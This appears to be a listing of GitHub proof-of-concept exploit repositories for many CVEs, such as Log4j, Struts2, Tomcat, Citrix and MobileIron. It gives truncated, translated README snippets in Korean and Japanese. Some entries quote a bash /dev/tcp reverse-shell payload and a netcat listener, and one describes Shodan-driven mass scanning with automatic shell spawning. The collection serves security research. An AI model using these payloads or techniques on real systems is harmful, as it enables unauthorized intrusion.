CVE-2026-0006-openapv-poc

CVE-2026-0006: libopenapvAndroid APV 코덱의 힙 버퍼 오버플로우 Mobile Hacking Lab의 패치 분석 및 재현 CVSS 9.8 Critical | 실제 환경에서 활발히 악용됨 | 2026년 3월 패치됨 참고: 저희는 이 취약점을 발견하지 않았습니다. CVE-2026-0006을 발견하고 책임 있게 보고한 모든 공로는 원래 연구자들에게 있습니다. 이 저장소는 보안 커뮤니티가 관련 버그 클래스와 악용 기술을 이해하도록 돕기 위한 저희의 독자적인 패치 분석, 재현 및 교육용 자료 를 담고 있습니다...

cve-2023-38646-poc

Metabase 사전 인증 RCE CVE-2023-38646 CVE-2023-38646는 Metabase의 원격 코드 실행 취약점입니다. 이 취약점은 Metabase가 인증되지 않은 API 엔드포인트 /api/setup/validate를 처리할 때 JDBC 연결 문자열 처리에 보안 결함이 있어 발생합니다. 공격자는 특정 JDBC 연결 문자열을 구성하여 이 엔드포인트를 통해 서버에서 임의의 명령을 실행할 수 있으며, 인증이 필요하지 않습니다. 구체적으로, 공격자는 먼저 /api/session/properties에 접근하여...

CVE-2025-55182

React2Shell PoC 이 저장소는 React Server Components와 Next.js에 영향을 주는 최근의 치명적인 RCE 취약점React2Shell에 대해 보안 스캐너를 테스트할 수 있는 최소한의 의도적으로 취약한 환경을 제공합니다. CVE-2025-55182 : React Server Components 19.0.0, 19.1.0, 19.1.1 및 19.2.0 버전에는 사전 인증 원격 코드 실행 취약점이 존재하며, 여기에는 다음 패키지가 포함됩니다: react-server-dom-parcel,...

CVE-2023-38035-MobileIron-RCE

MobileIron CVE-2023-38035 Exploit README.md 설명 이 bash 스크립트는 CVE-2023-38035 익스플로잇에 취약한 MobileIron 시스템을 스캔하는 과정을 자동화합니다. 이 스크립트는 필수 프로그램 확인, Shodan에서 잠재적 대상 다운로드, 대상 스캔, 마지막으로 취약한 시스템에서 셸을 생성하는 시도 등 여러 검사를 수행합니다. 기능 취약한 MobileIron 시스템을 찾기 위한 자동화된 Shodan 쿼리 스캔할 IP 주소 추출 대상에 대한 자동화된 취약점 평가 ncat이나...

CVE-2019-5624

CVE-2019-5624 Metasploit의 CVE-2019-5624 취약점Rubyzip의 안전하지 않은 ZIP 처리로 인한 RCE에 대한 개념 증명 소개 2019년 2월, Rubyzip 라이브러리에서 새로운 취약점을 발견했습니다. 이 취약점으로 인해 공격자는 안전하지 않은 ZIP 처리를 Zip Slip 악용하여 원격 코드 실행이 가능합니다. 이 취약점은 모든 Metasploit 버전 &0 2&0 0/dev/tcp/172.16.13.144/4445; bash &196 2&196" 경로 탐색payload이 포함된 ZIP 아카이...

CVE-2019-7609

CVE-2019-7609 Kibana Kibana의 Timelion visualizer의 결함으로 인해 리모트 코드 실행이 가능한 취약성 환경구성 docker 1. 첨부된 docker-compose.yml 을 실행한다. docker-comopse up -d 2. 브라우저에서 http://127.0.0.1:5601에 접속한다. Exploit 1. reverse shell을 준비한다. $ nc -lvp 6666 2. Kibana의 Timelion 화면에서 페이로드를 입력 후, 실행을 누른다...

CVE-2019-19781-CitrixRCE

Citrix 무단 원격 코드 실행 공격자 - CVE-2019-19781 참조: https://blog.fox-it.com/2020/07/01/a-second-look-at-cve-2019-19781-citrix-netscaler-adc/ 우회 방법: 1 - 삭제/수정된 스크립트 위치: /vpn/../vpns/portal/scripts/ 2 - perl 명령 주입 템플릿 주입 공격 후 슬래시"/" 문제...

cloudsplaining

Cloudsplaining Cloudsplaining is an AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized HTML report. Example report Documentation For full documentation, please visit the project on ReadTheDocs. Installation Cheatsheet Example report...

CVE-2019-2729_creal

CVE-2019-2729 - creal WebLogic에서 CVE-2019-2729를 익스플로잇하기 위한 PoC 익스플로잇 사용법 python3 creal.py -h usage: creal.py -h -u URL -f F -c CMD -s SH optional arguments: -h, --help show this help message and exit -u URL, --url URL target url -f F, --file F url file -c CMD, --command CMD command -s SH, --shell...

cve-2020-0688

cve-2020-0688 사용법: usage: cve-2020-0688.py -h -s SERVER -u USER -p PASSWORD -c CMD optional arguments: -h, --help show this help message and exit -s SERVER, --server SERVER ECP Server URL Example: http://ip/owa -u USER, --user USER login account Example: domain\user -p PASSWORD, --password PASSWO...

CVE-2023-45185

CVE-2023-45184 IBM i Access Client Solutions 1.1.9.4 - 安全でないデシリアライゼーションによるリモートコード実行。 タイムライン ベンダーへの脆弱性報告: 22.09.2023 修正版 1.1.9.4 のリリース: 08.12.2023 公開開示: 15.12.2023 説明 IBM i Access Client Solutions は、パスワードの保存とパスワード暗号化の復号キー取得に安全でないデシリアライゼーションを使用しています。これは、ローカルまたはリモートの攻撃者によってコード実行に利用される可能性があります。...

log4j-shell-csw

Log4j シンプルなエクスプロイト CVE-2021-44228 脆弱性に対する概念実証エクスプロイト。 Log4j はセキュリティおよびパフォーマンス情報のログ記録に使用され、Java を使用する様々なコンシューマーおよびエンタープライズサービス、ウェブサイト、アプリケーション、さらには医療機器やサポートシステムにわたる30億以上のデバイスに影響を与えます。 注記: これは「ポイントアンドクリック」のエクスプロイトではありません。初期トリガーペイロードは生成されますが、それを適切な場所（HTTP ヘッダー/チャット/等）に注入するのはユーザーの責任です。 前提条件 python3 p...

struts2-rce

CVE-2017-5638 익스플로잇 데모 전적으로 기반: https://github.com/piesecurity/apache-struts2-CVE-2017-5638 사용법: 전제 조건: python, docker, maven 및 jdk가 설치되어 있어야 합니다. 1. 이 저장소를 클론한다 2. 프로젝트 루트에서 mvn clean package를 실행한다 3. docker build -t hack . 를 실행한다 4. docker run -d -p 8080:8080 hack를 실행한다 5. 컨테이너가 온라인 상태가 되면 브라우저...

CVE-2020-9548

CVE-2020-9548：FasterXML/jackson-databind 원격 코드 실행 취약점...

CVE-2015-9331

CVE-2015-9331 POC 취약점 설명 CVE-2015-9331은 WordPress 플러그인 WP All Import의 임의 파일 업로드 취약점입니다. 이 취약점은 인증되지 않은 공격자가 서버에 임의 파일을 업로드할 수 있게 하여 원격 코드 실행으로 이어질 수 있습니다. 영향 범위 플러그인 이름 : WP All Import 영향 버전 : = 3.2.3 취약점 유형 : 임의 파일 업로드 / 원격 코드 실행 CVE 번호 : CVE-2015-9331 파일 설명 poc.py - Python 취약점 익스플로잇 스크립트...

CVE-2025-24813

🚨 CVE-2025-24813 – Apache Tomcat PUT JSP RCE 익스플로잇 이 저장소는 HTTP PUT 메서드를 사용하여 악성 JSP 웹 셸을 배포함으로써 Apache Tomcat에서 원격 코드 실행RCE을 유발하는 CVE-2025-24813 에 대한 완전한 개념 증명PoC을 포함합니다. 🔥 이 익스플로잇은 제대로 보안이 설정되지 않은 Tomcat 인스턴스에서 파일 업로드 및 페이로드 실행을 통해 공격자가 RCE 를 달성할 수 있는 방법을 시연합니다. 📁 프로젝트 구조 CVE-2025-24813/ ├──...

CVE-2009-2265

CVE-2009-2265 - Adobe ColdFusion 8 파일 업로드 RCE CVE-2009-2265 익스플로잇에 대한 POC의 Rust 구현, Adobe ColdFusion 8을 대상으로 합니다. 취약점 개요 이 취약점은 인증되지 않은 공격자가 Adobe ColdFusion 8을 실행하는 서버의 웹 접근 가능 디렉터리에 임의의 파일을 업로드하여 원격 코드 실행RCE을 유발할 수 있게 합니다. 기술적 세부사항 취약점 : 널 바이트 주입을 통한 디렉터리 트래버설 구성 요소 : FCKeditor upload.cfm 커넥터...

CVE-2016-3088

Apache ActiveMQ PUT RCE 원클릭 getshell usage:python3 CVE-2016-3088.py -u https://tartget.com/...

CVE-2021-24499

CVE-2021-24499 Workreap 테마에서 인증되지 않은 업로드를 통한 원격 코드 실행으로 이어지는 CVE-2021-24499의 대규모 악용. AJAX 액션 workreapawardtempfileuploader와 workreaptempfileuploader는 nonce 검사를 수행하지 않았으며, 다른 방식으로 요청이 유효한 사용자로부터 온 것인지 검증하지 않았습니다. 엔드포인트는 uploads/workreap-temp 디렉토리에 임의의 파일을 업로드할 수 있도록 허용했습니다. 업로드된 파일은 살균되거나 검증되지 않아...

CVE-2025-53770

CVE-2025-53770 検出プロジェクト CVE-2025-53770 （CWE-502: 信頼されないデータのデシリアライゼーション）に脆弱なシステムを特定するための包括的な脆弱性検出ツールキット。 🔍 概要 このプロジェクトは、信頼されないデータの安全でないデシリアライゼーションに関連するセキュリティ脆弱性である CVE-2025-53770 に潜在的に脆弱なシステムを特定・評価するための、エンタープライズ対応の検出スクリプトを提供します。このツールキットには、さまざまな環境との最大限の互換性を確保するため、PowerShell と Python の両方の実装が含まれています。...